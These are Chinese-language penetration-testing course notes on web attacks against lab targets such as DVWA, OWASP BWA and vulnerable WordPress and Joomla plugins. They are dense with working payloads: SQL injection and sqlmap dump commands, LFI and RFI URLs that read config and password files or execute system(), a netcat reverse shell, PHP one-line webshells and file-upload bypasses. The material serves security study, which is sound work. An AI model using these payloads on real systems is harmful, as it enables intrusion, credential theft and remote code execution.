2 Web攻击技术
2.1 Web漏洞概述
- OWASP(Opwn Web Application Security Project)
- owaspbwa
- 注入
- 失效的身份认证和会话管理
- Padding Oracle会话管理漏洞研究一波
- 对称加密 + CBC
- Padding Oracle会话管理漏洞研究一波
- 跨站脚本(XSS)
- 失效的访问控制
- 敏感信息泄露
- 攻击检测防范和不足
- 跨站请求伪造(CSFR)
2.2 Web服务器的探测
- WAF探测web application firewall
- nmap的waf探测脚本
- nmap -p 80 –script http-waf-detect.nse www.xxx.com
- wafw00f
- waf00f www.xxx.com
- nmap的waf探测脚本
- Web服务器负载均衡探测
- CDN(content distribution network)内容分发网站
- Cloudflare 一台服务器数据传到CDN厂商的各个节点,用户访问各个Cloudflare节点
- lbd www.xxx.com 负载均衡探测
- Web页面爬取
- Dirbuster 网站目录和文件的遍历和猜解
- 字典位置: /usr/share/dirbuster/wordlists/
- httrack网站镜像/克隆
- vbscan 探测vBulletin及其漏洞
- vane/wpscan 探测Wordpress及其漏洞
- joomscan 探测joomla及其漏洞
- Dirbuster 网站目录和文件的遍历和猜解
2.3 针对Web脚本的攻击
- SQL注入漏洞攻击
- Bricks
- 第一题
'or'1'='1
'or'1
- 如果不能输入单引号
- 用户名:\
- 密码:
or 1#
- 第二题(js查看网页源代码,js多了一道检测输入特殊字符的函数,需要绕过)
- function onSubmitOfLoginForm(…)
- 1.覆盖原函数(检查-console-可以覆盖原先的函数)
- function onSubmitOfLoginForm (){ return true;}
- 2.定义函数永远返回true
- 3.输入万能密码即可
- 4.禁用js中的执行
- 第三题
1')or('1=1
SELECT * FROM users WHERE name=('1')or('1=1') and password=('1')or('1=1') LIMIT 0,1
- 第四题
- 双引号
- 第五题
'or'1'#
or'or'1'--
#
注释之后的sql语句- 微软数据库注释符
--
+空格
- md5散列(128bit 16byte 32ascii字符)
- sha1(160bit 20byte 40ascii)
- sha256(256bit 32byte 64ascii)
- http://www.wechall.net/ 题库
- 第六题
- 重定向
- 第七题
- 先匹配用户名,在查询比对密码
- 用户名:
'and 0 union select md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1')#
- 密码:1
- 第一题
- mysql常用语句
- select version();
- select database();
- select user();
- show databases;
- use mysql;
- show tables;
- desc user; //描述user表
- select Host,User,Password from user;
- select Host,User,Password from user where User=’root’ and 1;
- select Host,User,Password from user where User=’root’ and 0 union select 1,2,3; //让左边记录为空,控制右边的返回值
- select Host,User,Password from user where User=’’ and 0 union select 1,2,md5(‘1’);
- 用户名与sql语句合并,让原本sql语句为0,用select语句使每一列都是md5(‘1’)的值,然后在密码输入1,即可匹配,登录成功。
- 先做and再做or
- 库名表名区分大小写,列名不区分大小写
- Bricks
- wordpress靶机漏洞
- wpscan –url http://192.168.80.240/wordpress – enumerate p
- /vane/vane.rb –url http://192.168.80.240/wordpress –enumerate p
- data/plugins.txt
- select * from xxx where ss_id=1 and 0 union select 1,version(),user(),database()#
- %27->
'
,%25->%
,%5C->\
- 验证是否存在漏洞:http://192.168.80.240/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 and 1=2
- 使用union select联合插查询:http://192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 and 0 union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES where TABLE_SCHEMA=0x776F72647072657373 group by TABLE_SCHEMA #
- group_concat 把相同的行归并在一起
- msyql原表注入获取信息的方法(无法获得表的名字等相关信息)
- 做一个测试,新建一个user表
- create schema Test;
- use Test;
- create table users (id INT, username, password);
- insert into users values (1, ‘admin’);
- select * from users;
- 通过use information_schema;获得数据库所有表名
- tables 包含所有表名;
- columns 包含所有字段名
- select 1,2 from dual where 0 union select TABLE_SCHEMA,group_contat(TABLE_NAME) TABLE_NAME from information_schema, TABLES where TABLE_SCHEMA=’Test’ LIMIT 1; //获取Test数据库中的所有表名
- select databse(); //获取当前数据库名字
- select Host,User,Passoword from user \G;
- hex(‘wordpress’); //776F72647072657373
- select 776F72647072657373;
- 只适用于mysql的报错法
- select * form user where 0 and extractvalue(1,version());
/*!00000 payload */
- 获取文件内容:http://192.168.80.240/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=1 and 1=0 union select 1,hex(load_file(‘/var/www/wordpress/wp-config.php’)),3,4–
- 做一个测试,新建一个user表
- 盲注sql注入方法
- union select
- error-based
- time-based blind
- 猜解法->二分折半猜解法(boolean-based blind)
- 需要先判断变量长度len()
- 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 +
- and ascii(substr((select user() from wp_users limit 0,1),1,1))>128 //通过判断网页是否变化确定猜测是否正确
- and ascii(substr((select user()),1,1))=119 //user变量第一个字符是w
- 搜索user中的第一个字符ascii应该在0-255之前,一个一个尝试
- 找到对应方法,使用ord(‘a’)或者chr(111)
- 方法二:如果不能直接查看网页变化,可以通过是否超过5秒来判断是否符合标准
- and if(ascii(substr((select user()),1,1))>128,1,sleep(5))# //if第一个参数是true,直接执行,若是false,调用sleep
- 方法三:从页面返回时间判断是否完成,benchmark()性能判断函数
- and if(ascii(substr((select user()),1,1))>118,1,benchmark(1000000,md5(0x20)))
- sql注入工具
- Pangolin
- Hacij
- Safe3
- 啊D
- SQLmap
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 –fingerprint //判断这个url可以用哪些方式实现注入
- $_GET[‘id’]
- $_POST[‘id’]
- $_COOKIE[‘id’]
- request.get
- request.form
- request.cookie
- request
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 –dbs //获取数据库列表
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress –tables //获取wordpress库中所有表
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress -T wp_users –column //获得表中的所有列
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress -T wp_users -C user_login,user_pass –dump //获取列中指定数据,导出数据
- –count //获取数据数量
- –start=1 –stop=5 //获取部分的数据
- -tamper xxx.py //装载指定payload
- sqlmap –purge-output //清除缓存
- 数据缓存在/root/.sqlmap/output/
- 数据缓存在/root/.sqlmap/output/
- sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 –fingerprint //判断这个url可以用哪些方式实现注入
- 绕过WAF
- %09(tab键)代替空格
- %0a(换行)%0d(回车)代替空格
- 使用括号
- 可以使用
/*!00000user()*/
在注释中实现运行语句
-
POST方式
1 2 3 4 5 6
POST /login.php HTTP/1.1 host:xxx User-agent:xxx Accept:... Content-type:... Content-length: 30
- username=xxx&password=123456
- 使用火狐temper data插件
- 注入时是请求数据包投向的url地址
- sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=tt&password=123456” -p username –fingerprint
- sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=tt&password=123456” -p username –dbs
- sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko –tables * sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko -T users –columns * sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko -T users -C id,login,password –dump
- 宽字符编码绕过
- php的addslash函数使得
'
变为\'
,在GBK编码中,若第一个字符大于%80则默认为双字符,使用%81%27,由于addslash使得变为%81%5c%27,而%81%5c则成为一个字符,从而使得单引号避免被转义 - http://172.16.1.180/index.php?id=1
- sqlmap 使用GET方法
- php的addslash函数使得
2.4 文件包含漏洞攻击
- 定义:服务器通过脚本代码在包含文件的时候过滤不严,从而注入一段攻击者能够控制的代码。
- “本地文件包含漏洞”, 即Local File Inclusion, LFI。
- 如果PHP的配置选项为“all_url_include”的话,则include/require函数可以加载远程文件,这种漏洞被称为“远程文件包含漏洞”,即Remote File Inclusion, RFI。
- 本地文件包含漏洞
- wpscan
- vane
- http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=/etc/passwd%00
- http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=php://filter/read=convert.base64-encode/resource=../../../../wp-config.php%00
- 在Firefox浏览器中设置本地代理,用nc监听传递的数据包
-
把得到的字符串使用HackBar通过Base64解码
PD9waHANCi8vICoqIE15U1FMIHNldHRpbmdzICoqIC8vDQpkZWZpbmUoJ0RCX05BTUUnLCAnd29yZHByZXNzJyk7ICAgIC8vIFRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZQ0KZGVmaW5lKCdEQl9VU0VSJywgJ3dvcmRwcmVzcycpOyAgICAgLy8gWW91ciBNeVNRTCB1c2VybmFtZQ0KZGVmaW5lKCdEQl9QQVNTV09SRCcsICd3b3JkcHJlc3MnKTsgLy8gLi4uYW5kIHBhc3N3b3JkDQpkZWZpbmUoJ0RCX0hPU1QnLCAnbG9jYWxob3N0Jyk7ICAgIC8vIDk5JSBjaGFuY2UgeW91IHdvbid0IG5lZWQgdG8gY2hhbmdlIHRoaXMgdmFsdWUNCg0KLy8gWW91IGNhbiBoYXZlIG11bHRpcGxlIGluc3RhbGxhdGlvbnMgaW4gb25lIGRhdGFiYXNlIGlmIHlvdSBnaXZlIGVhY2ggYSB1bmlxdWUgcHJlZml4DQokdGFibGVfcHJlZml4ICA9ICd3cF8nOyAgIC8vIE9ubHkgbnVtYmVycywgbGV0dGVycywgYW5kIHVuZGVyc2NvcmVzIHBsZWFzZSENCg0KLy8gQ2hhbmdlIHRoaXMgdG8gbG9jYWxpemUgV29yZFByZXNzLiAgQSBjb3JyZXNwb25kaW5nIE1PIGZpbGUgZm9yIHRoZQ0KLy8gY2hvc2VuIGxhbmd1YWdlIG11c3QgYmUgaW5zdGFsbGVkIHRvIHdwLWluY2x1ZGVzL2xhbmd1YWdlcy4NCi8vIEZvciBleGFtcGxlLCBpbnN0YWxsIGRlLm1vIHRvIHdwLWluY2x1ZGVzL2xhbmd1YWdlcyBhbmQgc2V0IFdQTEFORyB0byAnZGUnDQovLyB0byBlbmFibGUgR2VybWFuIGxhbmd1YWdlIHN1cHBvcnQuDQpkZWZpbmUgKCdXUExBTkcnLCAnJyk7DQoNCi8qIFRoYXQncyBhbGwsIHN0b3AgZWRpdGluZyEgSGFwcHkgYmxvZ2dpbmcuICovDQoNCmRlZmluZSgnQUJTUEFUSCcsIGRpcm5hbWUoX19GSUxFX18pLicvJyk7DQpyZXF1aXJlX29uY2UoQUJTUEFUSC4nd3Atc2V0dGluZ3MucGhwJyk7DQoNCmRlZmluZSgnUkVMT0NBVEUnLHRydWUpOw0KPz4=<?php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
// ** MySQL settings ** // define('DB_NAME', 'wordpress'); // The name of the database define('DB_USER', 'wordpress'); // Your MySQL username define('DB_PASSWORD', 'wordpress'); // ...and password define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value // You can have multiple installations in one database if you give each a unique prefix $table_prefix = 'wp_'; // Only numbers, letters, and underscores please! // Change this to localize WordPress. A corresponding MO file for the // chosen language must be installed to wp-includes/languages. // For example, install de.mo to wp-includes/languages and set WPLANG to 'de' // to enable German language support. define ('WPLANG', ''); /* That's all, stop editing! Happy blogging. */ define('ABSPATH', dirname(__FILE__).'/'); require_once(ABSPATH.'wp-settings.php'); define('RELOCATE',true); ?>
- 远程文件包含漏洞
all_url_include()
- PHP中函数system\passthru\exec\exec_once可以实现执行系统命令
- http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=php://input%00
- Enable Post Data: <?system(“/sbin/ifconfig”)?>/<?system(“uname -a”)?>
- 使用伪协议直接用get方式:http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php system(“id”);?>%00
- 把php指令经过base64编码和url编码,替换原来的
- http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs%2fPg%3D%3D%00
2.5 命令注入漏洞攻击(Remote Command Execution, RCE)
- 服务器通过脚本代码在 执行命令的时候过滤不严,从而注入一段攻击者能够 控制的代码,从而在服务器上以Web服务的后台权限 远程执行恶意指令。
- nslookup 加分号再加别的命令可以获取linux信息。
- 一般可以实现读写的文件
- /tmp
- /sbin/ifconfig
- /etc/passwd
- /var/www
- 一般可以实现读写的文件
- nc监听,连接反弹shell
- nc 172.16.185.167 -nlp 443
- nc 172.16.185.167 443 -e /bin/sh
- dirtycow提权
- dvwa
- user/user
- 源码位置: /var/www/dvwa/vulnerabilities/exec/source/
- `shell_command` 执行shell_command命令
- $(shell_command) 执行shell_command命令
| shell_command
执行shell_command命令并返回结果|| shell_command
执行shell_command命令并返回结果- ; shell_command 执行shell_command命令并返回结果
- && shell_command 执行shell_command命令并返回结果
> target_file
返回结果覆盖到target_file里>> target_file
返回结果追加到target_file里< target_file
把target_file的内容输入到之前的命令当中-
- operator 给目标指令添加额外的参数
2.6 文件上传漏洞攻击
- Webshell
- 大马/小马
- 权限问题和功能问题
- kali:weevely
- 小马
- CKnife
- 蚁建
- altman
- CKnife
- ctrl+l 文件管理器输入地址
- 解压ckinfe,到路径下,
- java -jar Cknife.jar运行ckinfe
@eval(_$POST('cmd'));
一句话木马- hackbar中postdata中输入cmd= echo hello;
- 第一题
- 上传文件过程中,当需要检验文件格式时,若是前端检验,可以修改审查元素
- 还可以修改文件格式,使用burpsuite抓包,在浏览器中使用本地代理,修改包的内容,改文件名
- 之后使用Ckinfe获取服务器结构
- 第二题(MIME类型验证)
- 在burpsuite里修改文件类型为image/jpeg,然后就能避开检验
- image/jpeg
- 第三题(文件扩展名的黑名单验证)
- strchr找第一个符合条件
- strrchr找最后一个符合条件
- 修改可以上传文件的后缀为php3,php4,php5
- 第四题 文件内容格式验证
- getimagesize($file_name);通过文件头部获得文件大小
- 在木马中加入GIF89a即可绕过检测,被服务器判断是gif文件
- 总结:改成合法类型、改成php3、改成合法的文件头
- 第五题 文件拓展名白名单验证–子目录劫持
- 篡改子目录upload/yyy.php%00/xxx.jpg * 在burpsuite中修改image改成tiny.php,再把proxy-hex中找到并把php之后的一个字节改为00。
-
文件上传漏洞攻击
-
提权大杀器工具,令牌攫取漏洞 pr
- 神器:熟练掌握sqlmap,nmap,burpsuite,metaspolit,setoolkit
2.7 文件上传漏洞
上传文件攻击:
IIS6.0解析ASP漏洞
- 服务器上可执行文件名为.cer.cdx.asc
- cer证书最后加上小马
@eval(_$POST('cmd'));
实现。 - 在文件夹名为xxx.asp目录下,里面可以实现任意拓展名的文件都会在服务器上执行。
- 小马的文件名设置成
pp.asp;.jpg
- 防御方法:服务器保存文件时自己定义文件名保存,不相信用户的输入
nginx解析php漏洞
- nginx<=0.8.37,用户访问xxx.jpg/xxx.php时服务器会把xxx.jpg当做PHP文件解析
使用网页编辑器中的漏洞
IIS6解析漏洞攻击
fckeditor/eitor/filemanager/upload fckeditor/eitor/filemanager/browser/default/connectors/asp/connector.asp
- tamperdata查看服务器版本和类型:192.168.1.222/EditNews.html
- 查看fckeditor版本:192.168.1.222/fckeditor/_whatsnew.html
- http://192.168.1.222/fckeditor/editor/filemanager/browser/default/browser.html?connector=connectors/asp/connector.asp
- http://192.168.1.222/fckeditor/editor/filemanager/browser/default/browser.html?connector=connectors/asp/connector.asp&type=Image
- 192.168.1.222/userfiles/image/fck.asp/littlec01dstudy.jpg
- 直接上传littlec01dstudy.asp;.jpg文件同样可以直接运行文件内容192.168.1.222/userfiles/image/littlec01dstudy.asp;.jpg
- 或者在如下url中使用类似方法
- 192.168.1.222/fckeditor/editor/filemanager/browser/default/connectors/test.html
- 192.168.1.222/fckeditor/editor/filemanager/upload/test.html
- 192.168.1.222/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Com mand=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
2.8 Web应用组件攻击
Kali:
- whatWeb
Web应用服务和框架组件攻击
-
Joomla3.2.1
- whatweb/zoomeye/shodan.io搜索相关信息
- 在exploit-db.com找到相关漏洞
- 192.168.10.100/index.php/weblinks-categories?id=0 ) union select password from
nnla5_users
– ) - 192.168.10.100/index.php/weblinks-categories?id=0 ) union select concat(0x5b,username,0x3a,password,0x5d) from nnla5_users limit 0,1 – )
- 192.168.10.100/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60nnla5_users%60%20–%20%29
- admin:admin123
- sqlmap -u ‘http://192.168.10.100/index.php/weblinks-categories?id=0’ –level=3 –dbs 把注入的语句用代替,使用*告知sqlmap在这里注入成功率较高
- sqlmap:相比level1,level3是尝试更多的注入
- sqlmap -u ‘http://192.168.10.100/index.php/weblinks-categories?id=0*’ –level=3 –dbs
- 192.168.10.100/index.php/weblinks-categories?id=0 ) union select password from
-
wordpress
- Kali:wpscan
- 主要使用plugin和数据库相关指令
- wpscan -u http://192.168.10.116/wordpress –enumerate p
- 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<php @eval($_POST[‘cmd’]);// wordpress一句话木马
- 绕过方法:RFI to get shell
- 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_POST[‘cmd’]);?>
- data:text/plain,<?php @eval($_POST[‘cmd’]);?>
- data:text/plain,<?php @eval($_POST[‘cmd’]);//
- 发现可以执行phpinfo指令,192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=phpinfo();
- 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=passthru(‘mysql -u wordpress -pwp_pass888 -A wordpress -e “show tables;”’);
- 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=passthru(‘mysql -u wordpress -pwp_pass888 -A wordpress -e “select * from wp_users;”’);
- passthru执行系统命令并且回显:-p后面不能有空格,要直接连接密码;单双引号使用分开,否则会不正常闭合
- sqli to get shell
- admin:wp_@dm!n
- 插件实现WordPress渗透:jetpack
- 上传插件时加入一句话木马
- 上传路径在/wordpress/wp-content/plugins/akismet,在该路径下实现了渗透
- Kali:wpscan
问题
- SQL注入时
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
实际情况如下面的例子select count(*) from TSafe group by floor(rand(0)*2);
- 表中必须有3条以上的记录才会报错
- rand()函数的随机因子若不取,则会随机报错,设为固定值如rand(0),如表中有3条以上数据,就一定报错。
- 原理:
- 执行该条语句时,先建立虚表
- floor(rand(0)*2)的返回值是011011…且查询时rand()会被反复执行,即在查询过程中每次匹配会重新计算rand()的值
- 011011..第一次查询0,没有重新计算为1,产生第一条数据;第二次查询1,有count则直接加1为2;第三次查询0没有重新计算为1,此时有1但是仍要插入1,重复报错。
- [关键]在使用虚拟机的时候会遇到内存不足的情况,直接修改Vmware里的硬盘大小会导致虚拟机重启后无法开机。解决办法是需要重新划分硬盘和设置交换区,使用
fdisk
和mkswap
等工具实现。